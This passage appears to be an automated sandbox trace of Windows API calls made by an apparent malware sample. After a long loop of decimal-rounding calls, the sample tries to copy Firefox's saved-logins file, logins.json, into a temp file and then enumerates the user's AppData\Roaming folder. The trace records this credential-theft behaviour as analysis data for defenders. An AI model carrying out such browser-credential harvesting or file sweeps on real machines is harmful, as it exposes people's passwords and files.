pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecCmp (pdecLeft=0x12feaa4, pdecRight=0x12fea94) returned 0x1 [0197.477] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecCmp (pdecLeft=0x12ff088, pdecRight=0x12feaa4) returned 0x1 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecCmp (pdecLeft=0x12feaa4, pdecRight=0x12fea94) returned 0x1 [0197.477] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecCmp (pdecLeft=0x12ff088, pdecRight=0x12feaa4) returned 0x1 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecCmp (pdecLeft=0x12feaa4, pdecRight=0x12fea94) returned 0x1 [0197.477] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecCmp (pdecLeft=0x12ff088, pdecRight=0x12feaa4) returned 0x1 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecCmp (pdecLeft=0x12feaa4, pdecRight=0x12fea94) returned 0x1 [0197.478] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecCmp (pdecLeft=0x12ff088, pdecRight=0x12feaa4) returned 0x1 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecCmp (pdecLeft=0x12feaa4, pdecRight=0x12fea94) returned 0x1 [0197.478] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.478] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.551] VarDecCmp (pdecLeft=0x12ff088, pdecRight=0x12feaa4) returned 0x1 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.551] VarDecCmp (pdecLeft=0x12feaa4, pdecRight=0x12fea94) returned 0x1 [0197.551] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.551] VarDecCmp (pdecLeft=0x12ff088, pdecRight=0x12feaa4) returned 0x1 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.551] VarDecCmp (pdecLeft=0x12feaa4, pdecRight=0x12fea94) returned 0x1 [0197.551] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.551] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.552] VarDecCmp (pdecLeft=0x12ff088, pdecRight=0x12feaa4) returned 0x1 [0197.553] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.553] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.554] VarDecCmp (pdecLeft=0x12feaa4, pdecRight=0x12fea94) returned 0x1 [0197.554] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.554] VarDecCmp (pdecLeft=0x12ff088, pdecRight=0x12feaa4) returned 0x1 [0197.554] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea6c | out: pdecResult=0x12fea6c) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.554] VarDecCmp (pdecLeft=0x12feae4, pdecRight=0x12fead4) returned 0x2 [0197.554] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.554] VarDecRound (in: pdecIn=0x12feac4, cDecimals=0, pdecResult=0x12feaa4 | out: pdecResult=0x12feaa4) returned 0x0 [0197.555] VarDecRound (in: pdecIn=0x12feac4, cDecimals=0, pdecResult=0x12feaa4 | out: pdecResult=0x12feaa4) returned 0x0 [0197.555] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.555] VarDecCmp (pdecLeft=0x12feae4, pdecRight=0x12fead4) returned 0x1 [0197.555] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.555] VarDecCmp (pdecLeft=0x12feae4, pdecRight=0x12fead4) returned 0x1 [0197.555] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.564] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.564] VarDecRound (in: pdecIn=0x12fea9c, cDecimals=0, pdecResult=0x12feaac | out: pdecResult=0x12feaac) returned 0x0 [0197.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json", nBufferLength=0x105, lpBuffer=0x12feb48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json", lpFilePart=0x0) returned 0x55 [0197.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_06.1679937+02_0011", nBufferLength=0x105, lpBuffer=0x12feb48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_06.1679937+02_0011", lpFilePart=0x0) returned 0x52 [0197.566] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\logins.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_06.1679937+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_06.1679937+02_0011"), bFailIfExists=0) returned 0 [0197.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\logins.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0197.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ec) returned 1 [0197.610] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x12feba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0197.610] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\*", lpFindFileData=0x12fee14 | out: lpFindFileData=0x12fee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x10bf1d1d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af78 [0197.610] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x10bf1d1d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.610] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b86430, ftCreationTime.dwHighDateTime=0x1d5dad4, ftLastAccessTime.dwLowDateTime=0x6d463a90, ftLastAccessTime.dwHighDateTime=0x1d5d9fd, ftLastWriteTime.dwLowDateTime=0x6d463a90, ftLastWriteTime.dwHighDateTime=0x1d5d9fd, nFileSizeHigh=0x0, nFileSizeLow=0xd38e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0nVA28w 5p.mp3", cAlternateFileName="0NVA28~1.MP3")) returned 1 [0197.610] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93173f0, ftCreationTime.dwHighDateTime=0x1d5e66c, ftLastAccessTime.dwLowDateTime=0x367e9e90, ftLastAccessTime.dwHighDateTime=0x1d5dbe1, ftLastWriteTime.dwLowDateTime=0x367e9e90, ftLastWriteTime.dwHighDateTime=0x1d5dbe1, nFileSizeHigh=0x0, nFileSizeLow=0xab34, dwReserved0=0x0, dwReserved1=0x0, cFileName="1h6Np-yrFrxqG-t.mkv", cAlternateFileName="1H6NP-~1.MKV")) returned 1 [0197.611] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a4a7c30, ftCreationTime.dwHighDateTime=0x1d5e34b, ftLastAccessTime.dwLowDateTime=0x64d46d30, ftLastAccessTime.dwHighDateTime=0x1d5e66b, ftLastWriteTime.dwLowDateTime=0x64d46d30, ftLastWriteTime.dwHighDateTime=0x1d5e66b, nFileSizeHigh=0x0, nFileSizeLow=0xde7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="22yFD_l0bKrC_.m4a", cAlternateFileName="22YFD_~1.M4A")) returned 1 [0197.611] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7add91f0, ftCreationTime.dwHighDateTime=0x1d5dde8, ftLastAccessTime.dwLowDateTime=0x3f2f340, ftLastAccessTime.dwHighDateTime=0x1d5e6f4, ftLastWriteTime.dwLowDateTime=0x3f2f340, ftLastWriteTime.dwHighDateTime=0x1d5e6f4, nFileSizeHigh=0x0, nFileSizeLow=0x12e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="6KXn4NlvpboXL2D.wav", cAlternateFileName="6KXN4N~1.WAV")) returned 1 [0197.611] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc78ea9a0, ftCreationTime.dwHighDateTime=0x1d5e6f1, ftLastAccessTime.dwLowDateTime=0xa665d910, ftLastAccessTime.dwHighDateTime=0x1d5d855, ftLastWriteTime.dwLowDateTime=0xa665d910, ftLastWriteTime.dwHighDateTime=0x1d5d855, nFileSizeHigh=0x0, nFileSizeLow=0xb1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="8elwbaE T4lPd7.png", cAlternateFileName="8ELWBA~1.PNG")) returned 1 [0197.611] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b4aec0, ftCreationTime.dwHighDateTime=0x1d5e44e, ftLastAccessTime.dwLowDateTime=0xbf5a5ed0, ftLastAccessTime.dwHighDateTime=0x1d5e4d7, ftLastWriteTime.dwLowDateTime=0xbf5a5ed0, ftLastWriteTime.dwHighDateTime=0x1d5e4d7, nFileSizeHigh=0x0, nFileSizeLow=0xae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="8USDs64Fb5W nU.avi", cAlternateFileName="8USDS6~1.AVI")) returned 1 [0197.611] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c922a0, ftCreationTime.dwHighDateTime=0x1d5daef, ftLastAccessTime.dwLowDateTime=0x3796c010, ftLastAccessTime.dwHighDateTime=0x1d5da46, ftLastWriteTime.dwLowDateTime=0x3796c010, ftLastWriteTime.dwHighDateTime=0x1d5da46, nFileSizeHigh=0x0, nFileSizeLow=0x15928, dwReserved0=0x0, dwReserved1=0x0, cFileName="9H9fjdq_j.rtf", cAlternateFileName="9H9FJD~1.RTF")) returned 1 [0197.611] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0197.612] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x504fcac0, ftCreationTime.dwHighDateTime=0x1d5e036, ftLastAccessTime.dwLowDateTime=0x8109c140, ftLastAccessTime.dwHighDateTime=0x1d5dadf, ftLastWriteTime.dwLowDateTime=0x8109c140, ftLastWriteTime.dwHighDateTime=0x1d5dadf, nFileSizeHigh=0x0, nFileSizeLow=0x7790, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCa1S.m4a", cAlternateFileName="")) returned 1 [0197.612] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24912c20, ftCreationTime.dwHighDateTime=0x1d5e42e, ftLastAccessTime.dwLowDateTime=0xa4b354d0, ftLastAccessTime.dwHighDateTime=0x1d5e700, ftLastWriteTime.dwLowDateTime=0xa4b354d0, ftLastWriteTime.dwHighDateTime=0x1d5e700, nFileSizeHigh=0x0, nFileSizeLow=0x17702, dwReserved0=0x0, dwReserved1=0x0, cFileName="BqVpt3mpQN5q.flv", cAlternateFileName="BQVPT3~1.FLV")) returned 1 [0197.612] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84829da0, ftCreationTime.dwHighDateTime=0x1d5e2dd, ftLastAccessTime.dwLowDateTime=0x4e86a130, ftLastAccessTime.dwHighDateTime=0x1d5da5c, ftLastWriteTime.dwLowDateTime=0x4e86a130, ftLastWriteTime.dwHighDateTime=0x1d5da5c, nFileSizeHigh=0x0, nFileSizeLow=0x573f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cEVmfr1n5ZClp.avi", cAlternateFileName="CEVMFR~1.AVI")) returned 1 [0197.612] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc77c120, ftCreationTime.dwHighDateTime=0x1d5de83, ftLastAccessTime.dwLowDateTime=0x51b20260, ftLastAccessTime.dwHighDateTime=0x1d5e000, ftLastWriteTime.dwLowDateTime=0x51b20260, ftLastWriteTime.dwHighDateTime=0x1d5e000, nFileSizeHigh=0x0, nFileSizeLow=0xc664, dwReserved0=0x0, dwReserved1=0x0, cFileName="D-KVKrkr k.mkv", cAlternateFileName="D-KVKR~1.MKV")) returned 1 [0197.612] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90eb5a80, ftCreationTime.dwHighDateTime=0x1d5df3d, ftLastAccessTime.dwLowDateTime=0xfa7e2580, ftLastAccessTime.dwHighDateTime=0x1d5e6c3, ftLastWriteTime.dwLowDateTime=0xfa7e2580, ftLastWriteTime.dwHighDateTime=0x1d5e6c3, nFileSizeHigh=0x0, nFileSizeLow=0xf8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="d6XWWffuXAL.png", cAlternateFileName="D6XWWF~1.PNG")) returned 1 [0197.612] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab240d30, ftCreationTime.dwHighDateTime=0x1d5e144, ftLastAccessTime.dwLowDateTime=0x5cce7390, ftLastAccessTime.dwHighDateTime=0x1d5e2cb, ftLastWriteTime.dwLowDateTime=0x5cce7390, ftLastWriteTime.dwHighDateTime=0x1d5e2cb, nFileSizeHigh=0x0, nFileSizeLow=0x61df, dwReserved0=0x0, dwReserved1=0x0, cFileName="ddnY a.png", cAlternateFileName="DDNYA~1.PNG")) returned 1 [0197.613] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b404b0, ftCreationTime.dwHighDateTime=0x1d5db5d, ftLastAccessTime.dwLowDateTime=0xd4bfeda0, ftLastAccessTime.dwHighDateTime=0x1d5d940, ftLastWriteTime.dwLowDateTime=0xd4bfeda0, ftLastWriteTime.dwHighDateTime=0x1d5d940, nFileSizeHigh=0x0, nFileSizeLow=0x5252, dwReserved0=0x0, dwReserved1=0x0, cFileName="fdmVm.wav", cAlternateFileName="")) returned 1 [0197.613] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd525d0, ftCreationTime.dwHighDateTime=0x1d5e2dd, ftLastAccessTime.dwLowDateTime=0x840c87f0, ftLastAccessTime.dwHighDateTime=0x1d5da45, ftLastWriteTime.dwLowDateTime=0x840c87f0, ftLastWriteTime.dwHighDateTime=0x1d5da45, nFileSizeHigh=0x0, nFileSizeLow=0x220b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GeQTgPCb8PNq6Ea0Q.swf", cAlternateFileName="GEQTGP~1.SWF")) returned 1 [0197.613] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2a131b0, ftCreationTime.dwHighDateTime=0x1d5e2f0, ftLastAccessTime.dwLowDateTime=0xf3abff50, ftLastAccessTime.dwHighDateTime=0x1d5e2d3, ftLastWriteTime.dwLowDateTime=0xf3abff50, ftLastWriteTime.dwHighDateTime=0x1d5e2d3, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GNs6tFPSTpq9hO9z.bmp", cAlternateFileName="GNS6TF~1.BMP")) returned 1 [0197.613] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf65a580, ftCreationTime.dwHighDateTime=0x1d5e6b0, ftLastAccessTime.dwLowDateTime=0x5df522b0, ftLastAccessTime.dwHighDateTime=0x1d5da9b, ftLastWriteTime.dwLowDateTime=0x5df522b0, ftLastWriteTime.dwHighDateTime=0x1d5da9b, nFileSizeHigh=0x0, nFileSizeLow=0x11b51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ijVIbVFO7b.bmp", cAlternateFileName="IJVIBV~1.BMP")) returned 1 [0197.613] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x563270e0, ftCreationTime.dwHighDateTime=0x1d5db5f, ftLastAccessTime.dwLowDateTime=0x6e0d5340, ftLastAccessTime.dwHighDateTime=0x1d5e020, ftLastWriteTime.dwLowDateTime=0x6e0d5340, ftLastWriteTime.dwHighDateTime=0x1d5e020, nFileSizeHigh=0x0, nFileSizeLow=0x15bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="iKA_2FAP.gif", cAlternateFileName="")) returned 1 [0197.613] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84535ff0, ftCreationTime.dwHighDateTime=0x1d5dc3d, ftLastAccessTime.dwLowDateTime=0xc08459d0, ftLastAccessTime.dwHighDateTime=0x1d5dc19, ftLastWriteTime.dwLowDateTime=0xc08459d0, ftLastWriteTime.dwHighDateTime=0x1d5dc19, nFileSizeHigh=0x0, nFileSizeLow=0x1373d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ivyQvy zFYHG5WpMF.pptx", cAlternateFileName="IVYQVY~1.PPT")) returned 1 [0197.613] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fee20 | out: lpFindFileData=0x12fee20*(dwFileAttributes=0x20, 